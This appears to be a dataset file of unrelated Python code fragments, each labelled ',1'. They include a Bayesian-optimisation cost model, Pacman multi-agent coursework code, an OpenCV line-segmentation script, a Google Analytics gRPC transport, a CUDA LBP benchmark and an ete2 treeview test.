Options are: - cost_withGradients is some pre-defined cost function. Should return numpy array as outputs. - cost_withGradients = 'evaluation_time'. .. Note:: if cost_withGradients = 'evaluation time' the evaluation time of the function is used to model a GP whose mean is used as cost. """""" def __init__(self, cost_withGradients): super(CostModel, self).__init__() self.cost_type = cost_withGradients # --- Set-up evaluation cost if self.cost_type is None: self.cost_withGradients = constant_cost_withGradients self.cost_type = 'Constant cost' elif self.cost_type == 'evaluation_time': self.cost_model = GPModel() self.cost_withGradients = self._cost_gp_withGradients self.num_updates = 0 else: self.cost_withGradients = cost_withGradients self.cost_type = 'User defined cost' def _cost_gp(self,x): """""" Predicts the time cost of evaluating the function at x. """""" m, _, _, _ = self.cost_model.predict_withGradients(x) return np.exp(m) def _cost_gp_withGradients(self,x): """""" Predicts the time cost and its gradient of evaluating the function at x. """""" m, _, dmdx, _= self.cost_model.predict_withGradients(x) return np.exp(m), np.exp(m)*dmdx def update_cost_model(self, x, cost_x): """""" Updates the GP used to handle the cost. param x: input of the GP for the cost model. param x_cost: values of the time cost at the input locations. """""" if self.cost_type == 'evaluation_time': cost_evals = np.log(np.atleast_2d(np.asarray(cost_x)).T) if self.num_updates == 0: X_all = x costs_all = cost_evals else: X_all = np.vstack((self.cost_model.model.X,x)) costs_all = np.vstack((self.cost_model.model.Y,cost_evals)) self.num_updates += 1 self.cost_model.updateModel(X_all, costs_all, None, None) def constant_cost_withGradients(x): """""" Constant cost function used by default: cost = 1, d_cost = 0. """""" return np.ones(x.shape[0])[:,None], np.zeros(x.shape) ",1 " you do not distribute or publish # solutions, (2) you retain this notice, and (3) you provide clear # attribution to UC Berkeley, including a link to # http://inst.eecs.berkeley.edu/~cs188/pacman/pacman.html # # Attribution Information: The Pacman AI projects were developed at UC Berkeley. # The core projects and autograders were primarily created by John DeNero # (denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu). # Student side autograding was added by Brad Miller, Nick Hay, and # Pieter Abbeel (pabbeel@cs.berkeley.edu). from util import manhattanDistance from game import Directions import random, util from game import Agent class ReflexAgent(Agent): """""" A reflex agent chooses an action at each choice point by examining its alternatives via a state evaluation function. The code below is provided as a guide. You are welcome to change it in any way you see fit, so long as you don't touch our method headers. """""" def getAction(self, gameState): """""" You do not need to change this method, but you're welcome to. getAction chooses among the best options according to the evaluation function. Just like in the previous project, getAction takes a GameState and returns some Directions.X for some X in the set {North, South, West, East, Stop} """""" # Collect legal moves and successor states legalMoves = gameState.getLegalActions() # Choose one of the best actions scores = [self.evaluationFunction(gameState, action) for action in legalMoves] bestScore = max(scores) bestIndices = [index for index in range(len(scores)) if scores[index] == bestScore] chosenIndex = random.choice(bestIndices) # Pick randomly among the best ""Add more of your code here if you want to"" return legalMoves[chosenIndex] def evaluationFunction(self, currentGameState, action): """""" Design a better evaluation function here. The evaluation function takes in the current and proposed successor GameStates (pacman.py) and returns a number, where higher numbers are better. The code below extracts some useful information from the state, like the remaining food (newFood) and Pacman position after moving (newPos). newScaredTimes holds the number of moves that each ghost will remain scared because of Pacman having eaten a power pellet. Print out these variables to see what you're getting, then combine them to create a masterful evaluation function. """""" # Useful information you can extract from a GameState (pacman.py) successorGameState = currentGameState.generatePacmanSuccessor(action) newPos = successorGameState.getPacmanPosition() newFood = successorGameState.getFood() newGhostStates = successorGameState.getGhostStates() newScaredTimes = [ghostState.scaredTimer for ghostState in newGhostStates] ""*** YOUR CODE HERE ***"" ghost = str(newGhostStates[0]) ghost = ghost[ghost.find('=') + 1 : ghost.rfind(',')] ghost = ghost.replace("".0"", """") #print newPos, newGhostStates[0] if str(newPos) == ghost: return -10 if newFood[newPos[0]][newPos[1]]: return 3 if newScaredTimes[0] > 0: return 10 return successorGameState.getScore() def scoreEvaluationFunction(currentGameState): """""" This default evaluation function just returns the score of the state. The score is the same one displayed in the Pacman GUI. This evaluation function is meant for use with adversarial search agents (not reflex agents). """""" return currentGameState.getScore() class MultiAgentSearchAgent(Agent): """""" This class provides some common elements to all of your multi-agent searchers. Any methods defined here will be available to the MinimaxPacmanAgent, AlphaBetaPacmanAgent & ExpectimaxPacmanAgent. You *do not* need to make any changes here, but you can if you want to add functionality to all your adversarial search agents. Please do not remove anything, however. Note: this is an abstract class: one that should not be instantiated. It's only partially specified, and designed to be extended. Agent (game.py) is another abstract class. """""" def __init__(self, evalFn = 'scoreEvaluationFunction', depth = '2'): self.index = 0 # Pacman is always agent index 0 self.evaluationFunction = util.lookup(evalFn, globals()) self.depth = int(depth) class MinimaxAgent(MultiAgentSearchAgent): """""" Your minimax agent (question 2) """""" def getAction(self, gameState): """""" Returns the minimax action from the current gameState using self.depth and self.evaluationFunction. Here are some method calls that might be useful when implementing minimax. gameState.getLegalActions(agentIndex): Returns a list of legal actions for an agent agentIndex=0 means Pacman, ghosts are >= 1 gameState.generateSuccessor(agentIndex, action): Returns the successor game state after an agent takes an action gameState.getNumAgents(): Returns the total number of agents in the game """""" ""*** YOUR CODE HERE ***"" util.raiseNotDefined() class AlphaBetaAgent(MultiAgentSearchAgent): """""" Your minimax agent with alpha-beta pruning (question 3) """""" def getAction(self, gameState): """""" Returns the minimax action using self.depth and self.evaluationFunction """""" ""*** YOUR CODE HERE ***"" util.raiseNotDefined() class ExpectimaxAgent(MultiAgentSearchAgent): """""" Your expectimax agent (question 4) """""" def getAction(self, gameState): """""" Returns the expectimax action using self.depth and self.evaluationFunction All ghosts should be modeled as choosing uniformly at random from their legal moves. """""" ""*** YOUR CODE HERE ***"" util.raiseNotDefined() def betterEvaluationFunction(currentGameState): """""" Your extreme ghost-hunting, pellet-nabbing, food-gobbling, unstoppable evaluation function (question 5). DESCRIPTION: """""" ""*** YOUR CODE HERE ***"" util.raiseNotDefined() # Abbreviation better = betterEvaluationFunction class ContestAgent(MultiAgentSearchAgent): """""" Your agent for the mini-contest """""" def getAction(self, gameState): """""" Returns an action. You can use any method you want and search to any depth you want. Just remember that the mini-contest is timed, so you have to trade off speed and computation. Ghosts don't behave randomly anymore, but they aren't perfect either -- they'll usually just make a beeline straight towards Pacman (or away from him if they're scared!) """""" ""*** YOUR CODE HERE ***"" util.raiseNotDefined() ",1 " cv2.imread(""img/Slide2.jpg"", 0) img = cv2.imread(""unsorted/Unit Tests/lambda.png"", 0) im_size = img.shape returnedCanny = cv2.Canny(img, 50, 150, apertureSize = 3) cv2.imshow(""newcanny"", returnedCanny) skel_dst = util.morpho(returnedCanny) out = edge_detect.mask_contours(edge_detect.create_img(skel_dst)) res = [] # print(np.squeeze(out[0])) # print(out[0][0]) for i in range(len(out)): # Add the first point to the end so the shape closes current = np.squeeze(out[i]) # print('current', current) # print('first', out[i][0]) if current.shape[0] > 2: # res.append(np.concatenate((current, out[i][0]))) # print(res[-1]) res.append(current) # print(np.concatenate((np.squeeze(out[i]), out[i][0]))) res = np.array(res) util.sqz_contours(res) res = lineseg.lineseg(np.array([res[1]]), tol=5) print(res, ""res"") """""" for x in range(len(res)): for y in range(lan ): """""" drawedgelist.drawedgelist(res, img) """""" seglist = [] for i in range(res.shape[0]): # print('shape', res[i].shape) if res[i].shape[0] > 2: # print(res[i]) # print(res[i][0]) seglist.append(np.concatenate((res[i], [res[i][0]]))) else: seglist.append(res[i]) seglist = np.array(seglist) """""" #print(seglist, ""seglist"") #print(len(seglist), ""seglist len"") #print(seglist.shape, ""seglistshape"") #drawedgelist.drawedgelist(seglist) """""" # ******* SECTION 2 ******* # SEGMENT AND LABEL THE CURVATURE LINES (CONVEX/CONCAVE). LineFeature, ListPoint = Lseg_to_Lfeat_v4.create_linefeatures(seglist, res, im_size) Line_new, ListPoint_new, line_merged = merge_lines_v4.merge_lines(LineFeature, ListPoint, 10, im_size) #print(Line_new, ""line new"") print(len(Line_new), ""len line new"") util.draw_lf(Line_new, blank_image) line_newC = LabelLineCurveFeature_v4.classify_curves(img, Line_new, ListPoint_new, 11)""""""",1 "cept in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import warnings from typing import Awaitable, Callable, Dict, Optional, Sequence, Tuple, Union from google.api_core import gapic_v1 # type: ignore from google.api_core import grpc_helpers_async # type: ignore from google.auth import credentials as ga_credentials # type: ignore from google.auth.transport.grpc import SslCredentials # type: ignore import packaging.version import grpc # type: ignore from grpc.experimental import aio # type: ignore from google.analytics.data_v1alpha.types import analytics_data_api from .base import AlphaAnalyticsDataTransport, DEFAULT_CLIENT_INFO from .grpc import AlphaAnalyticsDataGrpcTransport class AlphaAnalyticsDataGrpcAsyncIOTransport(AlphaAnalyticsDataTransport): """"""gRPC AsyncIO backend transport for AlphaAnalyticsData. Google Analytics reporting data service. This class defines the same methods as the primary client, so the primary client can load the underlying transport implementation and call it. It sends protocol buffers over the wire using gRPC (which is built on top of HTTP/2); the ``grpcio`` package must be installed. """""" _grpc_channel: aio.Channel _stubs: Dict[str, Callable] = {} @classmethod def create_channel( cls, host: str = ""analyticsdata.googleapis.com"", credentials: ga_credentials.Credentials = None, credentials_file: Optional[str] = None, scopes: Optional[Sequence[str]] = None, quota_project_id: Optional[str] = None, **kwargs, ) -> aio.Channel: """"""Create and return a gRPC AsyncIO channel object. Args: host (Optional[str]): The host for the channel to use. credentials (Optional[~.Credentials]): The authorization credentials to attach to requests. These credentials identify this application to the service. If none are specified, the client will attempt to ascertain the credentials from the environment. credentials_file (Optional[str]): A file with credentials that can be loaded with :func:`google.auth.load_credentials_from_file`. This argument is ignored if ``channel`` is provided. scopes (Optional[Sequence[str]]): A optional list of scopes needed for this service. These are only used when credentials are not specified and are passed to :func:`google.auth.default`. quota_project_id (Optional[str]): An optional project to use for billing and quota. kwargs (Optional[dict]): Keyword arguments, which are passed to the channel creation. Returns: aio.Channel: A gRPC AsyncIO channel object. """""" return grpc_helpers_async.create_channel( host, credentials=credentials, credentials_file=credentials_file, quota_project_id=quota_project_id, default_scopes=cls.AUTH_SCOPES, scopes=scopes, default_host=cls.DEFAULT_HOST, **kwargs, ) def __init__( self, *, host: str = ""analyticsdata.googleapis.com"", credentials: ga_credentials.Credentials = None, credentials_file: Optional[str] = None, scopes: Optional[Sequence[str]] = None, channel: aio.Channel = None, api_mtls_endpoint: str = None, client_cert_source: Callable[[], Tuple[bytes, bytes]] = None, ssl_channel_credentials: grpc.ChannelCredentials = None, client_cert_source_for_mtls: Callable[[], Tuple[bytes, bytes]] = None, quota_project_id=None, client_info: gapic_v1.client_info.ClientInfo = DEFAULT_CLIENT_INFO, always_use_jwt_access: Optional[bool] = False, ) -> None: """"""Instantiate the transport. Args: host (Optional[str]): The hostname to connect to. credentials (Optional[google.auth.credentials.Credentials]): The authorization credentials to attach to requests. These credentials identify the application to the service; if none are specified, the client will attempt to ascertain the credentials from the environment. This argument is ignored if ``channel`` is provided. credentials_file (Optional[str]): A file with credentials that can be loaded with :func:`google.auth.load_credentials_from_file`. This argument is ignored if ``channel`` is provided. scopes (Optional[Sequence[str]]): A optional list of scopes needed for this service. These are only used when credentials are not specified and are passed to :func:`google.auth.default`. channel (Optional[aio.Channel]): A ``Channel`` instance through which to make calls. api_mtls_endpoint (Optional[str]): Deprecated. The mutual TLS endpoint. If provided, it overrides the ``host`` argument and tries to create a mutual TLS channel with client SSL credentials from ``client_cert_source`` or application default SSL credentials. client_cert_source (Optional[Callable[[], Tuple[bytes, bytes]]]): Deprecated. A callback to provide client SSL certificate bytes and private key bytes, both in PEM format. It is ignored if ``api_mtls_endpoint`` is None. ssl_channel_credentials (grpc.ChannelCredentials): SSL credentials for the grpc channel. It is ignored if ``channel`` is provided. client_cert_source_for_mtls (Optional[Callable[[], Tuple[bytes, bytes]]]): A callback to provide client certificate bytes and private key bytes, both in PEM format. It is used to configure a mutual TLS channel. It is ignored if ``channel`` or ``ssl_channel_credentials`` is provided. quota_project_id (Optional[str]): An optional project to use for billing and quota. client_info (google.api_core.gapic_v1.client_info.ClientInfo): The client info used to send a user-agent string along with API requests. If ``None``, then default info will be used. Generally, you only need to set this if you're developing your own client library. always_use_jwt_access (Optional[bool]): Whether self signed JWT should be used for service account credentials. Raises: google.auth.exceptions.MutualTlsChannelError: If mutual TLS transport creation failed for any reason. google.api_core.exceptions.DuplicateCredentialArgs: If both ``credentials`` and ``credentials_file`` are passed. """""" self._grpc_channel = None self._ssl_channel_credentials = ssl_channel_credentials self._stubs: Dict[str, Callable] = {} if api_mtls_endpoint: warnings.warn(""api_mtls_endpoint is deprecated"", DeprecationWarning) if client_cert_source: warnings.warn(""client_cert_source is deprecated"", DeprecationWarning) if channel: # Ignore credentials if a channel was passed. credentials = False # If a channel was explicitly provided, set it. self._grpc_channel = channel self._ssl_channel_credentials = None else: if api_mtls_endpoint: host = api_mtls_endpoint # Create SSL credentials with client_cert_source or application # default SSL credentials. if client_cert_source: cert, key = client_cert_source() self._ssl_channel_credentials = grpc.ssl_channel_credentials( certificate_chain=cert, private_key=key ) else: self._ssl_channel_credentials = SslCredentials().ssl_credentials else: if client_cert_source_for_mtls and not ssl_channel_credentials: cert, key = client_cert_source_for_mtls() self._ssl_channel_credentials = grpc.ssl_channel_credentials( certificate_chain=cert, private_key=key ) # The base transport sets the host, credentials and scopes super().__init__( host=host, credentials=credentials, credentials_file=credentials_file, scopes=scopes, quota_project_id=quota_project_id, client_info=client_info, always_use_jwt_access=always_use_jwt_access, ) if not self._grpc_channel: self._grpc_channel = type(self).create_channel( self._host, credentials=self._credentials, credentials_file=credentials_file, scopes=self._scopes, ssl_credentials=self._ssl_channel_credentials, quota_project_id=quota_project_id, options=[ (""grpc.max_send_message_length"", -1), (""grpc.max_receive_message_length"", -1), ], ) # Wrap messages. This must be done after self._grpc_channel exists self._prep_wrapped_messages(client_info) @property def grpc_channel(self) -> aio.Channel: """"""Create the channel designed to connect to this service. This property caches on the instance; repeated calls return the same channel. """""" # Return the channel from cache. return self._grpc_channel @property def run_report( self, ) -> Callable[ [analytics_data_api.RunReportRequest], Awaitable[analytics_data_api.RunReportResponse], ]: r""""""Return a callable for the run report method over gRPC. Returns a customized report of your Google Analytics event data. Reports contain statistics derived from data collected by the Google Analytics tracking code. The data returned from the API is as a table with columns for the requested dimensions and metrics. Metrics are individual measurements of user activity on your property, such as active users or event count. Dimensions break down metrics across some common criteria, such as country or event name. Returns: Callable[[~.RunReportRequest], Awaitable[~.RunReportResponse]]: A function that, when called, will call the underlying RPC on the server. """""" # Generate a ""stub function"" on-the-fly which will actually make # the request. # gRPC handles serialization and deserialization, so we just need # to pass in the functions for each. if ""run_report"" not in self._stubs: self._stubs[""run_report""] = self.grpc_channel.unary_unary( ""/google.analytics.data.v1alpha.AlphaAnalyticsData/RunReport"", request_serializer=analytics_data_api.RunReportRequest.serialize, response_deserializer=analytics_data_api.RunReportResponse.deserialize, ) return self._stubs[""run_report""] @property def run_pivot_report( self, ) -> Callable[ [analytics_data_api.RunPivotReportRequest], Awaitable[analytics_data_api.RunPivotReportResponse], ]: r""""""Return a callable for the run pivot report method over gRPC. Returns a customized pivot report of your Google Analytics event data. Pivot reports are more advanced and expressive formats than regular reports. In a pivot report, dimensions are only visible if they are included in a pivot. Multiple pivots can be specified to further dissect your data. Returns: Callable[[~.RunPivotReportRequest], Awaitable[~.RunPivotReportResponse]]: A function that, when called, will call the underlying RPC on the server. """""" # Generate a ""stub function"" on-the-fly which will actually make # the request. # gRPC handles serialization and deserialization, so we just need # to pass in the functions for each. if ""run_pivot_report"" not in self._stubs: self._stubs[""run_pivot_report""] = self.grpc_channel.unary_unary( ""/google.analytics.data.v1alpha.AlphaAnalyticsData/RunPivotReport"", request_serializer=analytics_data_api.RunPivotReportRequest.serialize, response_deserializer=analytics_data_api.RunPivotReportResponse.deserialize, ) return self._stubs[""run_pivot_report""] @property def batch_run_reports( self, ) -> Callable[ [analytics_data_api.BatchRunReportsRequest], Awaitable[analytics_data_api.BatchRunReportsResponse], ]: r""""""Return a callable for the batch run reports method over gRPC. Returns multiple reports in a batch. All reports must be for the same Entity. Returns: Callable[[~.BatchRunReportsRequest], Awaitable[~.BatchRunReportsResponse]]: A function that, when called, will call the underlying RPC on the server. """""" # Generate a ""stub function"" on-the-fly which will actually make # the request. # gRPC handles serialization and deserialization, so we just need # to pass in the functions for each. if ""batch_run_reports"" not in self._stubs: self._stubs[""batch_run_reports""] = self.grpc_channel.unary_unary( ""/google.analytics.data.v1alpha.AlphaAnalyticsData/BatchRunReports"", request_serializer=analytics_data_api.BatchRunReportsRequest.serialize, response_deserializer=analytics_data_api.BatchRunReportsResponse.deserialize, ) return self._stubs[""batch_run_reports""] @property def batch_run_pivot_reports( self, ) -> Callable[ [analytics_data_api.BatchRunPivotReportsRequest], Awaitable[analytics_data_api.BatchRunPivotReportsResponse], ]: r""""""Return a callable for the batch run pivot reports method over gRPC. Returns multiple pivot reports in a batch. All reports must be for the same Entity. Returns: Callable[[~.BatchRunPivotReportsRequest], Awaitable[~.BatchRunPivotReportsResponse]]: A function that, when called, will call the underlying RPC on the server. """""" # Generate a ""stub function"" on-the-fly which will actually make # the request. # gRPC handles serialization and deserialization, so we just need # to pass in the functions for each. if ""batch_run_pivot_reports"" not in self._stubs: self._stubs[""batch_run_pivot_reports""] = self.grpc_channel.unary_unary( ""/google.analytics.data.v1alpha.AlphaAnalyticsData/BatchRunPivotReports"", request_serializer=analytics_data_api.BatchRunPivotReportsRequest.serialize, response_deserializer=analytics_data_api.BatchRunPivotReportsResponse.deserialize, ) return self._stubs[""batch_run_pivot_reports""] @property def get_metadata( self, ) -> Callable[ [analytics_data_api.GetMetadataRequest], Awaitable[analytics_data_api.Metadata] ]: r""""""Return a callable for the get metadata method over gRPC. Returns metadata for dimensions and metrics available in reporting methods. Used to explore the dimensions and metrics. In this method, a Google Analytics GA4 Property Identifier is specified in the request, and the metadata response includes Custom dimensions and metrics as well as Universal metadata. For example if a custom metric with parameter name ``levels_unlocked`` is registered to a property, the Metadata response will contain ``customEvent:levels_unlocked``. Universal metadata are dimensions and metrics applicable to any property such as ``country`` and ``totalUsers``. Returns: Callable[[~.GetMetadataRequest], Awaitable[~.Metadata]]: A function that, when called, will call the underlying RPC on the server. """""" # Generate a ""stub function"" on-the-fly which will actually make # the request. # gRPC handles serialization and deserialization, so we just need # to pass in the functions for each. if ""get_metadata"" not in self._stubs: self._stubs[""get_metadata""] = self.grpc_channel.unary_unary( ""/google.analytics.data.v1alpha.AlphaAnalyticsData/GetMetadata"", request_serializer=analytics_data_api.GetMetadataRequest.serialize, response_deserializer=analytics_data_api.Metadata.deserialize, ) return self._stubs[""get_metadata""] @property def run_realtime_report( self, ) -> Callable[ [analytics_data_api.RunRealtimeReportRequest], Awaitable[analytics_data_api.RunRealtimeReportResponse], ]: r""""""Return a callable for the run realtime report method over gRPC. The Google Analytics Realtime API returns a customized report of realtime event data for your property. These reports show events and usage from the last 30 minutes. Returns: Callable[[~.RunRealtimeReportRequest], Awaitable[~.RunRealtimeReportResponse]]: A function that, when called, will call the underlying RPC on the server. """""" # Generate a ""stub function"" on-the-fly which will actually make # the request. # gRPC handles serialization and deserialization, so we just need # to pass in the functions for each. if ""run_realtime_report"" not in self._stubs: self._stubs[""run_realtime_report""] = self.grpc_channel.unary_unary( ""/google.analytics.data.v1alpha.AlphaAnalyticsData/RunRealtimeReport"", request_serializer=analytics_data_api.RunRealtimeReportRequest.serialize, response_deserializer=analytics_data_api.RunRealtimeReportResponse.deserialize, ) return self._stubs[""run_realtime_report""] __all__ = (""AlphaAnalyticsDataGrpcAsyncIOTransport"",) ",1 "fix from hepdata.ext.elasticsearch.api import index_record_ids, push_data_keywords from hepdata.modules.submission.models import HEPSubmission, DataSubmission from hepdata.modules.records.utils.common import get_record_by_id from hepdata.modules.records.utils.doi_minter import generate_doi_for_table from hepdata.modules.records.utils.submission import finalise_datasubmission @fix.command() @with_appcontext def create_missing_datasubmission_records(): # Get submissions with missing IDs missing_submissions = DataSubmission.query \ .join(HEPSubmission, HEPSubmission.publication_recid == DataSubmission.publication_recid) \ .filter( DataSubmission.associated_recid == None, DataSubmission.publication_inspire_id == None, DataSubmission.version == HEPSubmission.version, HEPSubmission.overall_status == 'finished') missing_submissions = missing_submissions.all() if not missing_submissions: print(""No datasubmissions found with missing record or inspire ids."") return # Organise missing submissions by publication submissions_by_publication = {} for submission in missing_submissions: if submission.publication_recid in submissions_by_publication: submissions_by_publication[submission.publication_recid].append(submission) else: submissions_by_publication[submission.publication_recid] = [submission] # Loop through each publication for publication_recid, submissions in submissions_by_publication.items(): publication_record = get_record_by_id(publication_recid) current_time = ""{:%Y-%m-%d %H:%M:%S}"".format(datetime.utcnow()) generated_record_ids = [] for submission in submissions: # Finalise each data submission that does not have a record finalise_datasubmission(current_time, {}, generated_record_ids, publication_record, publication_recid, submission, submission.version) # Register the datasubmission's DOI if not current_app.config.get('TESTING', False): generate_doi_for_table.delay(submission.doi) print(f""Generated DOI {submission.doi}"") else: print(f""Would generate DOI {submission.doi}"") # finalise_datasubmission does not commit, so commit once for each publication db.session.commit() # Reindex the publication and its updated datasubmissions index_record_ids([publication_recid] + generated_record_ids) push_data_keywords(pub_ids=[publication_recid]) ",1 "he License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from django.utils.translation import ugettext_lazy as _ import horizon class AlarmsVitrage(horizon.Panel): name = _(""Alarms"") slug = ""vitragealarms"" ",1 "jit('void(uint8[:], int32, int32[:], int32[:])') def lbp_kernel(input, neighborhood, powers, h): i = cuda.grid(1) r = 0 if i < input.shape[0] - 2 * neighborhood: i += neighborhood for j in range(i - neighborhood, i): if input[j] >= input[i]: r += powers[j - i + neighborhood] for j in range(i + 1, i + neighborhood + 1): if input[j] >= input[i]: r += powers[j - i + neighborhood - 1] cuda.atomic.add(h, r, 1) def extract_1dlbp_gpu(input, neighborhood, d_powers): maxThread = 512 blockDim = maxThread d_input = cuda.to_device(input) hist = np.zeros(2 ** (2 * neighborhood), dtype='int32') gridDim = (len(input) - 2 * neighborhood + blockDim) / blockDim d_hist = cuda.to_device(hist) lbp_kernel[gridDim, blockDim](d_input, neighborhood, d_powers, d_hist) d_hist.to_host() return hist def extract_1dlbp_gpu_debug(input, neighborhood, powers, res): maxThread = 512 blockDim = maxThread gridDim = (len(input) - 2 * neighborhood + blockDim) / blockDim for block in range(0, gridDim): for thread in range(0, blockDim): r = 0 i = blockDim * block + thread if i < input.shape[0] - 2 * neighborhood: i += neighborhood for j in range(i - neighborhood, i): if input[j] >= input[i]: r += powers[j - i + neighborhood] for j in range(i + 1, i + neighborhood + 1): if input[j] >= input[i]: r += powers[j - i + neighborhood - 1] res[r] += 1 return res @jit(""int32[:](uint8[:], int64, int32[:], int32[:])"", nopython=True) def extract_1dlbp_cpu_jit(input, neighborhood, powers, res): maxThread = 512 blockDim = maxThread gridDim = (len(input) - 2 * neighborhood + blockDim) / blockDim for block in range(0, gridDim): for thread in range(0, blockDim): r = 0 i = blockDim * block + thread if i < input.shape[0] - 2 * neighborhood: i += neighborhood for j in range(i - neighborhood, i): if input[j] >= input[i]: r += powers[j - i + neighborhood] for j in range(i + 1, i + neighborhood + 1): if input[j] >= input[i]: r += powers[j - i + neighborhood - 1] res[r] += 1 return res def extract_1dlbp_cpu(input, neighborhood, p): """""" Extract the 1d lbp pattern on CPU """""" res = np.zeros(1 << (2 * neighborhood)) for i in range(neighborhood, len(input) - neighborhood): left = input[i - neighborhood : i] right = input[i + 1 : i + neighborhood + 1] both = np.r_[left, right] res[np.sum(p [both >= input[i]])] += 1 return res X = np.arange(3, 7) X = 10 ** X neighborhood = 4 cpu_times = np.zeros(X.shape[0]) cpu_times_simple = cpu_times.copy() cpu_times_jit = cpu_times.copy() gpu_times = np.zeros(X.shape[0]) p = 1 << np.array(range(0, 2 * neighborhood), dtype='int32') d_powers = cuda.to_device(p) for i, x in enumerate(X): input = np.random.randint(0, 256, size = x).astype(np.uint8) print ""Length: {0}"".format(x) print ""--------------"" start = timer() h_cpu = extract_1dlbp_cpu(input, neighborhood, p) cpu_times[i] = timer() - start print ""Finished on CPU: time: {0:3.5f}s"".format(cpu_times[i]) res = np.zeros(1 << (2 * neighborhood), dtype='int32') start = timer() h_cpu_simple = extract_1dlbp_gpu_debug(input, neighborhood, p, res) cpu_times_simple[i] = timer() - start print ""Finished on CPU (simple): time: {0:3.5f}s"".format(cpu_times_simple[i]) res = np.zeros(1 << (2 * neighborhood), dtype='int32') start = timer() h_cpu_jit = extract_1dlbp_cpu_jit(input, neighborhood, p, res) cpu_times_jit[i] = timer() - start print ""Finished on CPU (numba: jit): time: {0:3.5f}s"".format(cpu_times_jit[i]) start = timer() h_gpu = extract_1dlbp_gpu(input, neighborhood, d_powers) gpu_times[i] = timer() - start print ""Finished on GPU: time: {0:3.5f}s"".format(gpu_times[i]) print ""All h_cpu == h_gpu: "", (h_cpu_jit == h_gpu).all() and (h_cpu_simple == h_cpu_jit).all() and (h_cpu == h_cpu_jit).all() print '' f = plt.figure(figsize=(10, 5)) plt.plot(X, cpu_times, label = ""CPU"") plt.plot(X, cpu_times_simple, label = ""CPU non-vectorized"") plt.plot(X, cpu_times_jit, label = ""CPU jit"") plt.plot(X, gpu_times, label = ""GPU"") plt.yscale('log') plt.xscale('log') plt.xlabel('input length') plt.ylabel('time, sec') plt.legend() plt.show() ",1 "ication from five import grok class IPublicationFolder(IIngestableFolder): u'''Folder containing publications.''' class PublicationIngestor(Ingestor): u'''RDF ingestor for publication.''' grok.context(IPublicationFolder) def getContainedObjectInterface(self): return IPublication class View(IngestableFolderView): u'''View for an publication folder''' grok.context(IPublicationFolder) ",1 ". # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from .sub_resource import SubResource class ApplicationGatewaySslPredefinedPolicy(SubResource): """"""An Ssl predefined policy. :param id: Resource ID. :type id: str :param name: Name of Ssl predefined policy. :type name: str :param cipher_suites: Ssl cipher suites to be enabled in the specified order for application gateway. :type cipher_suites: list[str or ~azure.mgmt.network.v2017_10_01.models.ApplicationGatewaySslCipherSuite] :param min_protocol_version: Minimum version of Ssl protocol to be supported on application gateway. Possible values include: 'TLSv1_0', 'TLSv1_1', 'TLSv1_2' :type min_protocol_version: str or ~azure.mgmt.network.v2017_10_01.models.ApplicationGatewaySslProtocol """""" _attribute_map = { 'id': {'key': 'id', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'cipher_suites': {'key': 'properties.cipherSuites', 'type': '[str]'}, 'min_protocol_version': {'key': 'properties.minProtocolVersion', 'type': 'str'}, } def __init__(self, **kwargs): super(ApplicationGatewaySslPredefinedPolicy, self).__init__(**kwargs) self.name = kwargs.get('name', None) self.cipher_suites = kwargs.get('cipher_suites', None) self.min_protocol_version = kwargs.get('min_protocol_version', None) ",1 "ETEPATH) from ete2 import Tree, TreeStyle, NodeStyle, PhyloTree, faces, random_color from ete2.treeview.faces import * from ete2.treeview.main import _NODE_TYPE_CHECKER, FACE_POSITIONS sys.path.insert(0, os.path.join(ETEPATH, ""examples/treeview"")) import face_grid, bubble_map, item_faces, node_style, node_background, face_positions, face_rotation, seq_motif_faces, barchart_and_piechart_faces sys.path.insert(0, os.path.join(ETEPATH, ""examples/phylogenies"")) import phylotree_visualization CONT = 0 class Test_Coretype_Treeview(unittest.TestCase): """""" Tests tree basics. """""" def test_renderer(self): main_tree = Tree() main_tree.dist = 0 t, ts = face_grid.get_example_tree() t_grid = TreeFace(t, ts) n = main_tree.add_child() n.add_face(t_grid, 0, ""aligned"") t, ts = bubble_map.get_example_tree() t_bubble = TreeFace(t, ts) n = main_tree.add_child() n.add_face(t_bubble, 0, ""aligned"") t, ts = item_faces.get_example_tree() t_items = TreeFace(t, ts) n = main_tree.add_child() n.add_face(t_items, 0, ""aligned"") t, ts = node_style.get_example_tree() t_nodest = TreeFace(t, ts) n = main_tree.add_child() n.add_face(t_nodest, 0, ""aligned"") t, ts = node_background.get_example_tree() t_bg = TreeFace(t, ts) n = main_tree.add_child() n.add_face(t_bg, 0, ""aligned"") t, ts = face_positions.get_example_tree() t_fpos = TreeFace(t, ts) n = main_tree.add_child() n.add_face(t_fpos, 0, ""aligned"") t, ts = phylotree_visualization.get_example_tree() t_phylo = TreeFace(t, ts) n = main_tree.add_child() n.add_face(t_phylo, 0, ""aligned"") t, ts = face_rotation.get_example_tree() temp_facet = TreeFace(t, ts) n = main_tree.add_child() n.add_face(temp_facet, 0, ""aligned"") t, ts = seq_motif_faces.get_example_tree() temp_facet = TreeFace(t, ts) n = main_tree.add_child() n.add_face(temp_facet, 0, ""aligned"") t, ts = barchart_and_piechart_faces.get_example_tree() temp_facet = TreeFace(t, ts) n = main_tree.add_child() n.add_face(temp_facet, 0, ""aligned"") #Test orphan nodes and trees with 0 branch length t, ts = Tree(), TreeStyle() t.populate(5) for n in t.traverse(): n.dist = 0 temp_tface = TreeFace(t, ts) n = main_tree.add_child() n.add_face(temp_tface, 0, ""aligned"") ts.optimal_scale_level = ""full"" temp_tface = TreeFace(t, ts) n = main_tree.add_child() n.add_face(temp_tface, 0, ""aligned"") ts = TreeStyle() t.populate(5) ts.mode = ""c"" temp_tface = TreeFace(t, ts) n = main_tree.add_child() n.add_face(temp_tface, 0, ""aligned"") ts.optimal_scale_level = ""full"" temp_tface = 